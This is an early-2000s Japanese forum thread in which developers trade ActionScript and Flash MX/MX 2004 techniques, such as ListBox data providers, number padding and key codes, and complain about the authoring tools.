【AS】ActionScript技術交換スレ Part2
1 :
Now_loading...774KB :
03/12/20 23:18 ID:hJcb09EW
乙っと
超お疲れさま!
前スレ1000 ( ゚皿゚)エエコに取らせるつもりだったのに
なんで前スレ1000はCなんだ
[ComponentTask] について教えて欲しい。
交換条件次第では教えてやろう
なりません。もっといい交換じゃないと教えません。
お前ら、コンバンワ 検証用に WINflash4Playerを入れたいんだが、米macromediaから過去のplayerをダウソするとcab形式になってます。 マカーの漏れにはwinがわからないので教えてください。 (´・ω・`)ショボーン
>>14 よくわからんがeoかなんかで解凍しては?
AS関連じゃないし、そもそもFlash4はASじゃないわけだが
追記 解凍することできますた。しかし、下記ファイルをどうするかわかりません (((´・ω・`)・・・ Swflash.ocx swflash.inf おまいらつД`) タスケレ !!
スレ違いしつこい。 >FLASH周りのコアな技術交換 とは言わさんぞ。 Mac板でもWin板でもいいからどっか池。
>>13 ハードコードされてる文字シリーズ
プレヴュームーヴィー用?
setSize
onUpdate
[Event]用
__f_
他にもたくさんありそう。
お前ら、よいお年を(^-^)ツ
正直MX2004が期待はずれだったのでMXの時ほど研究意欲がわかん・・・
>>20 AS2なんか面白いじゃん。
オブジェクト指向で行こうぜ。
>>21 現状のAS2はAS1のラッパーでしかないのでかなり微妙。
strictなコード管理が出来るのはいいかと思うが
研究対象にはならんなぁ・・・
MX2004買えねえよ。家賃より高いんだもんよ。 いまどきMX2004使ってる香具師は貧乏人、なのか・・・?
MX使ってる香具師は、だった鬱
微妙に勝組な気もする>MX止まり 起動は遅いけど、他は特に悪くないんでもっぱらMX2004で作業してますが 新機能は全く使ってないなぁ・・・というかPlayer7形式はまだまだ時期早々 マターリ行こう
27 :
負け組 :04/01/10 12:10 ID:???
Javascript なんだし interface I { var a; var b; } なんてのもできていいと思うのだが、なんで駄目なんだ。
>>27 何が言いたいのかわからん。
interfaceなら使えるけど?
変数の型宣言が面倒くさいわけ?
interface I { function f(); } だけでなく interface I { var a; } も通して欲しいということ。
>>29 変数をインターフェイスで利用しようってのはなんか考え方が根本から間違ってる予感。
いや JavaScript なんだから、interface は、 コンパイル時のチェック以外の意味はない...よね? 便利だと思うけどなぁ。
32 :
Now_loading...774KB :04/01/13 22:19 ID:CLQdkzc2
CFMXとAccessでデータベースとの連携をやっています。 例えばListBoxに社員全員の名前を表示させて、クリックした社員の 住所、氏名、電話番号をTextBoxに表示するという感じのものを作っています。 この時、ListBoxに名前のみを表示させたいのですが、その場合に ListBoxのどこに他のデータ(社員コード)を隠して持たせるかが分からず 難航しています。 もう一つListBox2を隠して作り、そこに社員コードのみを表示させて、 ListBox1.GetSelectedIndex()からListBox2の社員コードを引っ張ってくるという 作戦を取ってみましたがスマートではないです。 VBで言うところのItemDataのようなものはFlashには無いのでしょうか?
さっそく質問です NowLoadingどうやるの? っていうか分かる人居なそうだなぁ・・。
>>32 そういう場合、ListBoxはただの表示枠であって、
データと切り離すのが普通なのでは?
データは社員毎のデータオブジェクトを作って、
プロパティに必要なデータを設定しておき、
必要なものだけListBoxに表示させればいいと思います。
で、いつになったらヘルプは更新されるんですか(´A`;
38 :
32 :04/01/14 21:47 ID:BOY+mKuU
>>35 レスありがとうございます。
ListBoxをクリックしたらその社員のデータを表示させるのが目的です。
社員毎のデータオブジェクトを作るとは、配列などに持たせると言う意味でしょうか。
ListBoxとデータオブジェクトとの関連をどこにどうやって持たせるのかが分からないのです。
例えばListBoxの鈴木一郎をクリックしたらSQLで
SELECT * FROM Member WHERE name = '鈴木一郎'
とやるのは可能ではありますが、SQL文に日本語を混ぜる事に抵抗がありますし、
鈴木一郎が二名以上いた場合に困るので
WHERE ID = 3
などでクエりたいのです。
>>プロパティに必要なデータを設定しておき
この文の意味がいまいち理解できないので、トンチンカンな事を言っていたらすみません。
>>38 そんなんListBoxのLabelに「鈴木一郎」、
DataにIDをぶち込めばすむ話じゃないかと・・・
rs = new Array();
rs.push({Label:"鈴木一郎",Data:0});
rs.push({Label:"田中次郎",Data:1});
rs.push({Label:"佐藤三郎",Data:2});
test_lb.setDataProvider(rs);
一番わかりやすーく書くとこんな感じ member = new Array(); member[1] = new Object(); member[1].name = "鈴木"; member[1].age = "30; member[2] = new Object(); member[2].name = "佐藤"; member[2].age = 20; のようにメンバーデータを格納して member[id].name member[id].age でデータにアクセスできる
オートナンバーを追加してnameを表示されりゃいいじゃん? んでオートナンバーからSQL接続して表示。 それか最初のデーター読み込みで多次元配列化しとくか?
>>38-39 あ、微妙に質問の意図読み違えてたぽ・・・
ListBoxのラベルとデータの関連付けは
>>39 が正解
43 :
32 :04/01/14 22:33 ID:BOY+mKuU
>各コンポーネントのプロパティ/メソッド一覧 それこそMX内のコンポーネントリファレンスを隅々まで読めば解決かと。 もしくはリファレンスを載せている書籍を1冊購入する・・とか。 ちなみにそれ、ListBoxのリファレンスじゃなくて DataGridのリファレンスなので念のため。 (ま、同名のメソッドの場合は同じ挙動をするだろうから問題ないけど) つか、そのリファレンスを参考にしてる人って初めて聞いたので 嬉しさのあまりコテ出しちゃったw
>>38 ごめん全然AS関係ないけど
> SELECT * FROM Member WHERE name = '鈴木一郎'
> とやるのは可能ではありますが、SQL文に日本語を混ぜる事に抵抗がありますし、
そんなアホなことに抵抗持たないでください。
そのSQLが通らないんだったら世の中のシステムは動かなくなります。
ASにはサブルーチンみたいなのはないですか?
あるにきまってんだろ。
ahoka
念のためホッシュ。
ご、 50ッ!
もまえら何かネタねーのかよ!!
CとASどっちがすごいですかあ?
COBOLとASどっちがすごいですかあ?
釣りか?全てにおいてASに決まってるだろボケ。
>>52 このスレ見る人って自己解決できるレベルの人が多そうだから
UIとかCGI連携なんかの話以外は簡単にはネタは出ないでしょ
FLASH中上級スレが撃沈したのと同じ
で、FLASHからMP3を抜き出すにはどうすりゃいいの?
>>58 スクリプトを使わなくてもできますよ
カセットテープにマイクで録音して、それを再生しマイクでパソコンに録音でOKです。
作業中には声を出さないようにね
>>58 swf仕様書見れば簡単にわかる事ですな論外だ。
>>57 その理由は?
スレ違いかもしれないけど、 ASで組むときで、クヌース本に載ってるような いわゆる純粋なアルゴリズムを適用する局面ってある? 漏れはソートぐらいしか思いつかないんだけども。
>>60 |電柱|-`).。oO(お前他言語使ってみろよ。
全体的な手軽さで言えばASはC++より優れてるけどね |電柱|-`).。oO(スレ違いです
65 :
◆0SYzNuPrAU :04/01/26 11:47 ID:YOMHi1ed
Directorたけぇよ
67 :
Now_loading...774KB :04/02/05 05:15 ID:H+MBngdp
いいのか?保守
68 :
Now_loading...774KB :04/02/06 20:40 ID:mHj/bjWu
質問スレじゃないからかなりマターリしてますが、コンゴトモヨロシク・・・。
>>68 そのスレ立てたの俺だったりするわけで・・・・ついに1000いきますたか
>>70 気のせい気のせい
>>70 ...なんで681なんて中途半端なレス番を見つけたんだよオマエ?
1.ヒマだから
2.バカだから
3.まっつ、うわなんだなにをするやめ(ry
ASつかって擬似3Dよりちょっと進んだ3DってCPUパワー的にできるんだろうか。 3Dの簡単なデータを読み込んで点を配置して透視を考慮したスクリーンへの座標変換して。 それで奥の面から線引いて領域塗って・・・ さらにこれを動かすとか。
>>75 おー、ほんとだ。じゃあもっとポリゴン数増やしてWizadryっぽくしたりできますね。
あとは影落とすのと曲面とトゥーンレンダリングっぽくもがんばればできそうですかね。
78 :
Now_loading...774KB :04/02/11 02:46 ID:BzOW6WbA
FCSの話題はここでいいのかな・・・? 現在Personal使用中ですが、FCSサーバーを通したビデオ画像の画質が 非常によろしくないです。 Professionalを買ったら画質と速度は向上するのでしょうか?
帯域幅のせいで画質と速度が落ちているなら、ProとPersonalで変わるけど、 画質の設定は、Flash内で設定するんで、そっちで調整してみる。
80 :
78 :04/02/11 21:50 ID:???
久々のカキコ。 マウスの中ボタンの押下状態をt/fで持ってる かなりステキな隠し(?)プロパティ ASnative(800, 2)(4); こいつの中身を監視して適当なイベントハンドラに処理を渡すような ことって可能でしょうか?(EnerFrameやsetIntervalでってのは抜きで) Object.watchとかaddListenerとかaddPropertyのプロパティに直接当てるとか そこらへんを使えばできそうな気もしないでもないんだけど・・・教えてエロい人!
とりあえずEnterFrameで監視の場合はこんな感じで実現。 this.prev = false; this.onEnterFrame = function(){ var State = ASnative(800, 2)(4); if(State != this.prev){ if(State) trace("押しますた"); else trace("離しますた"); } this.prev = State; }
エロくは無いですが ASnative(800, 2)(4)はKey.isDown(4)ってことなんだけど mouseでもkeyでも拾ってくれないぽいな〜 評価式の結果なのでObject.watchもきかないぽ 役に立たないcascadeでした。 ↓きっと役に立つ人orエロい子
大分前にFLASH CODERSにも同ネタがあったね。 「今現在判明してる仕様上」ではenterFrameで監視するのがベストかも? ついでに以前調べた特殊Keycodeを列挙しとく、適当に役立ててくらさい (Key.isDown(num)で取得すれ) ■マウス関連 1..左クリック 2..右クリック 4..ミドル 5..ボタン4 6..ボタン5 ■Windows限定IME関連(2kとXPで確認) 245 .. IMEがオン 246 .. IMEがオフ 243 .. 全角がオフ 244 .. 全角がオン 242 .. ひらがなモード 241 .. カタカナモード 240 .. 英数字モード
85 :
Now_loading...774KB :04/02/22 02:21 ID:gpbG9rt4
age
先日のカンファレンスに行われた野中さんのAS講座、
早くも野中さんのサイトでサンプルデータ公開中。
ttp://www.fumiononaka.com/Sample/MAX2004/ 会場で聞いてた時は講義自体が急ぎ足だった関係もあって
中盤以降何やってるか全然わかんなかったから
サンプルデータを見返して復習しなければ・・_| ̄|○
(いや、急ぎ足なのは時間の関係上しょうがないんだけどね)
>>83-84 んーむ。FLASH CODERSでもイベントの方法が出てないって事は
やっぱEnterFrameでやっとくのが無難なんですね、了解しますた。
(確かに、Keyオブジェクトをリスナーにしても拾ってくれない時点でダメかぁ、
いやそれだったらASSetPropFragsあたりで表に引っ張り出して・・頭痛くなるからやめとこ)
なにげにIME関連も見てるのかー。
これ使えば手元にある超力技IME変換スクリプト(Win+IE5.5以上限定)を
も少し改良できるぞ!よしよし・・・
for(i=0;i<500;i++){
if(Key.isDown(i)){
trace(i);
}
}
上記の以外にも
押しっぱなしになってるキーコードがあるんだけど、中身不明。
>>86 数個のキー監視くらいならenterFrameで回してもたいした負荷じゃないしね。
IME関連はゲーム起動時に「日本語入力切れ!」とか注意を促すのにも使えるね。
まだ、MXerなんだけどさ、 AS2ってどんな感じですかこの野郎。
コンポーネント定義に関する記述がないけど、2.0に関してはそんなもんか。 interfaceもちゃんと取り上げればいいと思うけど。
とりあえずfumiononaka.comを見れ。
ContextMenu.builtInItems.save って何?
hosyu
agetemiru
96 :
Now_loading...774KB :04/03/25 22:32 ID:bSk8ySAp
XML クラスの load() メソッドに URL 渡せば HTTP 経由でファイル読んでくれるって どっかで聞いたんだけど、ガセだったのかな。
98 :
96 :04/03/25 22:47 ID:???
うえーん、何故か読み込み失敗してるよー もうちょっとやってみる ありがとん
>>98 読み込み実行した瞬間に使おうとかしてるんでは?
読み込み完了まで待っておくれよ
ほっしゅりぼへへ
101 :
96 :04/03/26 06:51 ID:???
>>99 いやー、load() した瞬間に Error opening URL になんのよ。
当然 onLoad で指定した関数無いで loaded 見ても false になってる。
うーん
102 :
96 :04/03/26 06:51 ID:???
関数無い→関数内
103 :
96 :04/03/26 09:03 ID:aatUnt2p
XML.load("URL")は同一ドメイン内じゃないとロードできない ってのは大丈夫かね?
105 :
96 :04/03/26 09:45 ID:???
大丈夫。
swf ファイルと同一ドメイン内に XML ファイルを置く必要があるのは理解できたよ。
でも、load() に渡す URL で
http:// からの表記が使えないのを知らなかったんだ。
勝手に上手くやってくれるもんだとばっかり思ってたよ……
>>105 そっか?フルパスで書いても通ってるけど。
なんか違うミスじゃ?
捕手
109 :
Now_loading...774KB :04/04/09 10:48 ID:g4Cnfj3H
なんかこのソフトスクリプトが巻き戻ったりしない? ファイルのタイムスタンプを見るとちゃんと保存されている様に 見えるけど開いてみると古いソースだったことが何回も・・・ テキストファイルにコピペしてソース管理してたんで事無きを得たけど 正直洒落にならんぞ・・・ みんなはどうやってソース管理してるの?
パブリッシュしたあとに、flaのほうを保存するのを 忘れてたに一票
>>109 そのようなことはぜんぜんまったく1度も身に起こった事がございません。
なんでASはフォーマットするたびに コメントの前に勝手に改行入れたり 複数行のコメントがどんどんインデントされて右にずれていくわけですか?
perlのsprintfみたいに数値をフォーマットするのに (例(3桁):1→001、12→012等) Number()とString()を使ってフォーマットしているのですが、 もっとスマートな方法はありませんか?
どんなコード書いてるか知らんので助言できんが num = 123; digit = 8; zero = "0000000000"; num = (zero + num).substr(zero.length-(digit-num.toString().length)); trace(num); こんな感じ?
function hoge(n,digit) { zero = Math.pow(10,digit); num = zero + n ; return String(num).substr(1); }
varつけようよ
function intToStr(n,len){return String(Math.pow(10,len)+n).slice(-len)}
一行の場合{}は省略できます
もはや趣旨が違うことにワロタ
それより何でECMA系には文字列フォーマットが実装されていないのかが問題だ。
いいから正規表現を搭載すれといいたい
>>96 亀だけど
var myxml = new XML();
myxml.onLoad = function(success) {
if (conf.loaded) {
hogehoge();
}
};
myxml.load("muxml.xml");
とか。
間違えた。 ×if (conf.loaded) { ○if (myxml.loaded) {
保守。
with{}構文って使わないよね? こんなもののためにスコープ(インデント)を1つ使うのは嫌だし、 _parentとかthisを使いたい時にややこしいし、 パスが長いときは一時的なオブジェクトをこんな感じで var hogeobj = _root.komc.magomc.himagomc; hogeobj._x = 10; 使えばいいだけだし、 有効な使い方ってあるんだろうか。
今まで_parentに書いてたものを丸ごとMCにカトペしたいときとか
>>130 骨でおせわになってます
数値入力から、ピッカーの位置の移動は無理そうですか?
あとカーソル入力で微妙なカラー選択機能あると嬉しいです。
>>132 おぉ、すばやいなぁ
こういう使い方が一番しっくりくるでしょうね
>>131 一番右の項目では数値入力できます。
連動してるので問題ないかなーと。
>>132 どうもですー。
にしてもswf直とかで拡大になるとアイコン汚いなぁ・・・
と思ったら、数値入力のとこでバグ発見しちゃった orz Hueになに入れても赤くなっちゃいますね。 直しますです。。。
連続すいません。
修正しました。
textっていう部分がtexyになってただけという、、、これだから僕は。
>>131 さんの書き込みを見て
>>132 さんのをいじって発見しました。
ナイスコンビネーションに感謝します _|\○_
しっぽさんtexy!
138 :
Now_loading...774KB :04/05/18 01:35 ID:Jr3CYUv/
保守カキコ&たまには日干しage。 AS物質スレが最近盛況ですなー。 わりと中級者以上の内容も散見されるから こっちも使ってくれたらいいのにねぇ。
>>まっつん じゃあエエコが率先して使ってくださいw
加藤さんとバスキュールさんか。これは買いだな。
143 :
Now_loading...774KB :04/05/26 06:34 ID:ppRfUlEc
なぁ、ActionScriptって動的型結合だから関数の引数の型指定ってできないよな。 これって実行されるまで渡されるオブジェクトが不明で結構危険な気もするんだけど。 typeofでいちいちチェックするしかないのか?
あー、ライブラリの関数も引数不正なら何もしないとかになってるな。 Cとかみたいに厳密にコンパイルエラーで知らせることはできないのか。
質問です。 ASでベジェ曲線を制御したいのですが、 参考になる日本語サイトご存知ないですか?
ちょっと待て。 ペジェ分かってるか? アンカーを制御したいって事?
curveTo を駆使するか・・・。
|-゚)ペジェ?
ふつーにcurveTo使うべ。
っていうかなんか懐かしい。
154 :
Now_loading...774KB :04/05/31 22:50 ID:Q1QcL23b
155 :
初期不良 :04/06/01 01:43 ID:n6c0QvnM
JavaプログラマなんですけどAS2.0触ってみてかなーり Javaライクに書けるんで助かりますた。 けど、あんまりはやってないの?>AS2.0 抽象クラスが無いんで適当に抽象クラスのふりをしている 普通のクラスを作ったり、コンストラクタのオーバーロードが できないのでサブクラスのコンストラクタで無理やり実装したり 少し難はありますけど、カバーできない話でもないですし。 今まで大文字小文字が区別されていなかった?とか、 クラスを作っていくと .as ファイルが多くなるのでバージョニング しやすかったり、かなーり良くなったんでは?
>>155 AS触ってる人たちは傾向としてスクリプト育ちの人が多いですからねぇ。
今後155さんのようなJava育ちの人がどれだけFlash(AS2.0)に触れるかが
カギのような気もしなくはないです。
と。インスタンスやクラスまでは何となくわかっても、
コンストラクタとかインタフェースとかになるとお手上げ状態のエセPGの戯言ですた。
AS2にはいろいろ動作的に怪しいところがあるというのもあるし、 そもそも2004にUPする価値自体あまり感じない人も結構多いんだろうね まぁこれからはふえてくだろうて
>>157 >AS2にはいろいろ動作的に怪しいところがあるというのもあるし、
一月ほど人の作ったデザインにお絵かきを実装する
作業したんですけど、特に問題らしい問題は無かったですよ。
on() とかローカル変数仕様ですらない類のものを使うと
大変ですけど... あと、やっぱり変数宣言無しで使えるのは
変数のタイプミスが見つからなくてかなり時間をとられた...
けど、Java 的発想のものはとりあえずだいたい思った通りの
実装になっている感じです。
まあ、ここまで大幅に変わったと言うことはまだ紆余曲折ありそうで、
その辺も心配ですが...
Action Script 2.0に相性のいいエディタって何かな。 みんな何を使ってる? Action Script用のエディタって、日本語がダメな場合が多い気がする。
ちょっと発見。 MXでもホイールの回転取れるのね。 確実に動作するかは微妙だけど。
>>159 Peggyに設定ファイル入れて使ってる
内蔵エディタは重いしコードアシスト馬鹿だし嫌い(あれなら無くて良い)
メモ帳最強。
>>161 既出
エディタは
2004使うくらいならメモ帳だな
普段はxyzzyのjavaモードだけど、お勧めできない。
AS2.0って書いてあるやん。
>>166 もうちょっとよく推理しる。
>>165 だから既出。
MX時代のもなちゃととかで、Flashログがホイール動作してた
>>167 2004使ってないけど、ホイールは便利だから使いたかったんで、色々調べてみたんだけど
常識だったのか・・・
既出裏技(?)一覧が欲しいよね
>>169 欲しいっすね・・・
ホイール関係はかなり頑張ってググッたりしたんだけど、結局見つからず。
javascript使ってIE6のみで動くのならすぐに見つかるんだけど。
デコンパイラーまで使ってみたりしたのに・・・
普通に使えるんだもんなぁ。
>>162 その設定ファイルホスィ・・・
うpキボンヌ
>>171 FLASH-Japanにあるやつじゃないの?
174 :
Now_loading...774KB :04/06/07 21:09 ID:NWkS4xab
テキストフィールドの大きさを動的に変える事は出来ませんか? TextField.autoSize="left"; ↑これだと、中身が改行しない大きさまで広がるということですよね? テキストの量に関わらず、横幅を「ココまで」と言う風に変えたいんです。 ピクセル単位で大きさを決定できればそれが一番良いんですが、何か良い方法ありませんでしょうか? win2000/FLASH MX
FLASH-JPとのマルチポストですか・・・
誰かFLASH OOP買った〜?
>178 amazonで予約してるけど、まだ発送の連絡こねぇ
181 :
179 :04/06/18 01:46 ID:???
改めてちょっと遠い大き目の書店に見に行ってきたよ。 やっぱり売ってなかった・・・orz
>>178 15日に新宿の紀伊国屋(本店)に行ったらあったから買った。
只今猛烈に勉強中。
ようやっとclassの使い方が見えてきたよ。
本日ヨドバシでゲット カバーサイズが気になる・・・(´д`
今日、横浜関内の有隣堂で買いました。 まだ50ページも読んでないけど、 String.replace()だのMath.DegreeToRadian()だのの as2.0版の書き方を知りたかったので、とりあえずオッケ。
>178 今日紀伊国屋でみっけたけど、なんでカヴァーが寸足らずなのか・・・・
>>185 「なんだよ、遅れすぎだよ!
手違いがあったんだろ!
こんだけ遅れたんなら割引だよな、そうだよな!
割り引けよ、誠意見せろよ、それでもサービス業かよ!!」
って電話しる。
188 :
Now_loading...774KB :04/06/22 00:38 ID:qXqFMdzr
まだ2004実務ではつかってないんだが 俺のとこはクライアントが固いから ようやく6が使用できる状況だしな 大手は腰が重い 2.0定着はまだ時間かかりそう まぁ6でも全部コンポーネントにして隠蔽してるが マイナーバージョンでの仕様の違いが多い なんとかならんのか ならんね classの扱いは微妙すぎだった6にくらべればマシかも コードもシンプルになる if文イラネ
2.0で書いて6パブリッシュは可能なんだー
>>188 たぶん定着するのには相当時間かかると思う。
プラグイン事情はもちろんだけど、今のところ実務レベルでは
2.0に移行する利点がほとんど無いってのが大きい。
結局さ。 家ではMXを使ってる人が多いんだよね。 職場で残した仕事を家で片付けたい場合の事考えると・・・ね。
>>190 漏れは全部2.0にしてソースをCVSで管理してるよ。
flaに書いちゃうと差分管理が出来なくて困る
質問 ASの神たちはいかにして神になったのでしょうか。独学ですか? セミナー等に通って? ASの本を数冊買って何度読み返しても理解できない自分に危機感を感じてきました・・・・゜・(ノД`)・゜・
>>193 読んで覚えるんじゃない
打ち込んで動かしてみて体で感じるのだ
…というか、ASで具体的につくりたい何かがあれば
実現のために努力するわけで、
ただなんとなくでは、何も身につかない気がするな。
>>193 すぐ分かるもんじゃないって。
すぐに理解できるのは、前からプログラミングとかやってた人。
>>193 俺は最初必死になってテトリスを作ったぞ
目標を持って動かしてみるべし
197 :
193 :04/06/28 02:07 ID:???
神達もふつうの人だったんですね・・・ Flashムービーやインターフェイスを作るために今一生懸命です。 あきらめません(`・ω・´)
198 :
188 :04/06/28 03:10 ID:???
>>190 4と5を天秤にかけると
微妙だったけど
6〜7までくると
そんなにバージョンに気使うこともないと思うのだ
むしろ新型のほうがアクセシブルに作れるし
プラグインバージョンを置いても天秤にかければ
新型のほうが有益だと思う。
2.0に関してはオブ的につくれば、
開発の効率も格段によくなる
だから役割を詳細に絞ったチームでの大規模プロジェクトも
比較的短期間でできるしプランニングも完全燃焼できるんじゃないかとか、
htmlなみの簡単さで更新できる、
とか考えたりします
FLASH=プラグインバージョンの問題という
のはそろそろFLASHコンテンツ扱う時点で切り離したほうが
いいんじゃないかなぁ
まぁんなこと愚痴っても仕方ないが
これはオーサーのエゴかな
スレ違いくさいのでsage
>>193 がんばってね
199 :
Now_loading...774KB :04/06/28 08:54 ID:PKukePoP
マターリしてるな…
うちの会社にも本読んで出来る気になってるオサーンがいる・・・ 実務が無いから言ってる事無茶苦茶・・・もうね、アホかと(´д`; 愚痴スマソ
flashのactionscriptで,ユーザが行った動作のログをとりたいのですが,そういうことは 出来るのでしょうか??それを解析したいのですが・・・
>>193 とりあえずむずかしいのができるヤシってJAVAやCなどの他言語ユーザーがほとんどかと。
204 :
188 :04/06/29 01:08 ID:HHpWnSIa
>>202 もっとも簡単な方法は
マウスアクションの監視して
逐一配列にぶち込んでなんかのタイミングで
sendすればいいんじゃないかと
キータイプに関しては時間と一緒に
キータイプを監視してればいんじゃね?
まぁ掲示板同様「なんかのタイミング」のたびにサーバを
圧迫するのが前提
まぁ思い付きなんでご容赦
スクリプティングもアイデアしだいだから創造的で楽しい
もっとクールな方法があるはず
でも裏でこんなことされるのってヤダネ
個人的には
ユーザビリティテスト用にコンポーネントにしておいてもいい
live connectとかで外に置いておけば利用しやすいし
ちょっとつくってみるか
FLASH OOP読了。ワークショップ形式とはいえ、ものすごく落差のある 本だなあ。微妙だ。微妙すぎる。 オビの勇吾さんの(かも知れない)は痛快だった。やっぱりあの人はちゃんと分かってる ますます好きになった。
209 :
Now_loading...774KB :04/07/06 01:35 ID:YVIGrvUp
久しぶりにFlash を触ってます。 AS2.0 の出す意味のないエラーが、もうつらくてつらくてたまりません。 MX2004を買ってしまった後悔がまたあふれ出てしまいます。 愚痴を書いてしまいました。 すみませんでした。
正直、FLASHMX、2004ともに開発環境としては最悪に使いにくいと思うけど、どう? コードは外部エディタでなんとかするにしても、ヘルプやツール類を載せた パネルみたいなヤツもほんと使いにくいよ。。。。
逆に漏れは、開発環境としてMXが使い易すぎて、他のツールがダメぽ。 けど、タイムライン、プロパティインスペクタ、ツールバー、パネル と4方向全てに重要かつデカいスペースを必要とするって意味で、解像度をメチャ上げないとダメだよね。 中途半端な解像度or小モニタだと、メインステージが小さすぎて作業できないし。 MXに慣れてしまうと、2004はマジ無理ぽ。 環境をフラッシュに特化するか否かで、大きく変わると思われ。
MXが好きですが解像度は1600x1200ないとツライです
214 :
211 :04/07/11 01:19 ID:???
>>211-213 そうなの、最低1600X1200ぐらい必要なの......
漏れも21インチのモニタでさらにマルチモニターにしたりしてるんだけど
とにかく、パネルっていうのがダメポ。
パネルからはずしてフロートにしても最小化・最大化が出来ないからむしろ
邪魔だし。
あと、困るのが、コードいじっているつもりがステージ上にフォーカスが
あって、なんか消しちゃったり、ステージ上にコードがコピペされたりしてて
とても萎える。
愚痴ばかりで申しわけない。
アドビからのイチャモンでタブ形式が使えなかったせいと聞くね。 確かに高解像度じゃないと作業しづらいな・・・ 余りサイズの大きい物作らない&スクリプトはincludeで外ファイルを使い慣れたエディタで編集だから まだマシだけど。
そういや、あのASリファレンス自体flashで作られてるっぽいね・・・ 元のソースはXMLで格納されてるみたいだし。 そんな所に凝らなくていいから、普通にネイティブアプリとしてサクサク動くようにして欲しかった・・・
イラレで出したSWFを読み込むとMX2004では編集画面がバグる。
>>217 アドベ必死だな!!!
って、まじでアドビとしては、死活問題になりかねないわな。
フォトショは安泰だろうけどなー。イラレもフォトショとの互換で保ててるって感じか。
実際、漏れはスマートスケッチが大好きだし、メインはフラッシュだもんなぁ。
フラで出来ない事はイラレでやるって感じで。
ちなみにドローツールとしてのフラッシュってお話ね。
adobeとmacromediaは仲悪いからなあ。
まあ俺もイラレの代わりに使ったりするしな MSのパワーポイント代わりとかにも
221 :
名無しさん@そうだ選挙に行こう :04/07/11 19:39 ID:DDDdSTqm
>214 漏れもフォーカスがいろんなとこに飛ぶのが許せん!
222 :
211 :04/07/11 19:46 ID:???
>adobeとmacromediaは仲悪いからなあ。 その影響をユーザーがうけるのは納得いかないよね。 それで仕事をしてる人にとっては切実な問題だよ。 Webアプリの開発用途としてシェア拡大を狙うつもりでいるなら、 もっとしっかりやってほしいところ、 オブジェクト指向とかを取り入れる前に統合開発環境として最低限の 機能を満たしてほしい。デバッグとかホント o(゚Д゚)っ モムーリ! とか結局愚痴になってしまう。もう(´Д⊂ モウダメポ
しかし、ファイアヲークスとドリームウィーバーがかなりのシェアを獲得して来てるのも事実だな。 漏れはメインがマクロメディア、サブがアドベって感じになってきてる。 ペジェ使う人はイラレだとは思うけど、ベクタ消しゴム、ベクタバケツが軽いから良いよね。
いろんな企業が お互いに仲良くそれでいて上を目指すような そういう仕組みは無いものだろうか。 やっぱ競争させないと上手く行かないのかな
SWFプラグインに変わるアニメーションバイトコードに別の企画を作る
やっぱりASがJSと同じ派生ってのが大きいな。 何気にフラッシュって凄いツールだと思うんだよな。メーカーPCに初期インスコされててもおかしくないほどw スクリプトが馴染まれてる言語、ドローツールとして優秀、スマートスケッチから派生、 フラッシュアニメ作れる、パワーポイント不要、DTPでも行けなくは無い。 これだけテンコ盛りのツールはそうそう無いべさ。
227 :
Now_loading...774KB :04/07/11 21:23 ID:uzJhs4B2
スクリプトを記述したフレームで10秒間停止して、 10秒経てば次のフレームに行く ↑のようなスクリプトを教えてくれませんか?
230 :
211 :04/07/11 22:56 ID:???
デザイン関係の分野ではマクロメディアだいぶがんばってんだ。
アドビ独裁も崩れてきてんのかな?
絵を描くひとにはFLASHとても支持されてるよね......
漏れも、FWはよく使う、つぅーかイラレもってない。
結局FLASHの守備範囲が広くなりすぎて収集がつかなくなってきたつぅーことかな?
サーバとの連携とかオブジェクト指向うんぬんとかは過渡期だから、
こなれるまでまつのが吉ってことかもなぁ〜
>>227 ActionScript 物凄い勢いで誰かが質問に答えるスレ
http://pc5.2ch.net/test/read.cgi/swf/1085202423/l50 こっちのいったほうがいいかと、
ちなみに、たぶんこんなかんじだけどうごかしてないからわからん。
wait = 10000;
d = new Date();
waitTime = d.getTime() + wait;
while(waitTime > d.getTime()) {d = new Date();}
231 :
211 :04/07/11 22:58 ID:???
あぁ、かぶったか、 229さんのコードが正統だとおもう。
>>229 問題が解決しました!
大変有難う御座いました。 m(_ _)m
>>230 オーサリング業界は10年以上前からマクロメディア(マクロマインド)が押さえてて
アドビでも勝てない領域なんですよ。
マイクロソフトがこんどのOSで本気でつぶしに来たらどうなるか・・・
Flashとイラレが逆転するかもしれないのか・・・
かといって、FlashでDTPできるようになるわけでもなかろうに。
イラレにできないことがFlashにはできるよ。 つまりはシェアの問題だと思う。
シェアつっても出荷本数でFLASHがイラレ抜いたとかじゃぁ意味ないわけで、 DTP業界でデファクトとかにならんと逆転はむりだろ。 FLASHではできないことがイラレではできるわけで....
DTPは無理だが、既にPDFやPPTに変わる実力を持ってるからなぁ
いや、DTPも可能だと思う。 フォトショ+イラレ+ページメーカ って組み合わせでアドビ統一してる事務所は少ないんでない? 今多いのは、フォトショ+イラレ+クォーク(インデザ) じゃないかな。 そう言う意味では、フォトショ+フラッシュ+インデザも可能な気がする。 クォーク高いし、フラッシュのWINでのシェアはバカにならないとも思ってる。 漏れの体感だと、イラレはフォント扱う時が致命的に重いんだよね。どんだけメモリ積んでも・・・。 実際にフラッシュでDTPやった事あるけど、普通に出版する程度だとまぁ問題はなかった。 主観が入ってしまうけど、安さと完成度の兼ね合いとかになるのかなぁ。 DTP専用ツールじゃないのに、DTP出来るほどの能力があるって考えると、凄い事ではあるとも思うしね。 割れ使ってる馬鹿デザ事務所は知らんけど・・。
ASネタないじゃん
そろそろFlash Lite1.1ネタもいってみようか
>>242 MX2004Pro限定だから、作れる人が激しく限られる。
容量は最大100kB、loadMovie、loadVariablesが使えるのはかなり期待できるが・・・
あと、ASのベースが相変わらずFlash4らしい・・・オブジェクトは一部Flash5相当のも入ってるようだが。
まだ配列すら入ってなかった・・・orz
246 :
Now_loading...774KB :04/07/17 00:53 ID:EP/rWKr/
MX2004でコンポーネントの作成をしてみましたが..... なんか非常にわかりづらいよね...、作成の手続きがややこしい、 クラスファイルでも前半いったい何の定義をしているかわかりづらいし、 1.0のときもリンケージだぁなんだぁ あっちに名前つけてこっちにも名前つけてって 感じで、どうしょうもないなぁと思ったけど 2.0でさらにひどくなった。その上クラスパスなんかも導入してまったく。 FLASHのスクリプトは1回白紙にもどすか、 すでにある既存の言語でコーディングできるような方向をにいってくれないかな。 って思ってるの漏れだけ?
>>246 一応JavaScript(の元であるECMAScript Language)準拠だけど、既存のオーサリング環境との
融合しないといけなかったから、リンケージとかは仕方が無いんじゃないかね。
2.0は触ってないから良く知らんが、よりOO志向にしたんだっけ?
まぁ、結局実行時はJavaみたいにVMで動かしてるんだから、スクリプティングに使う言語は変更
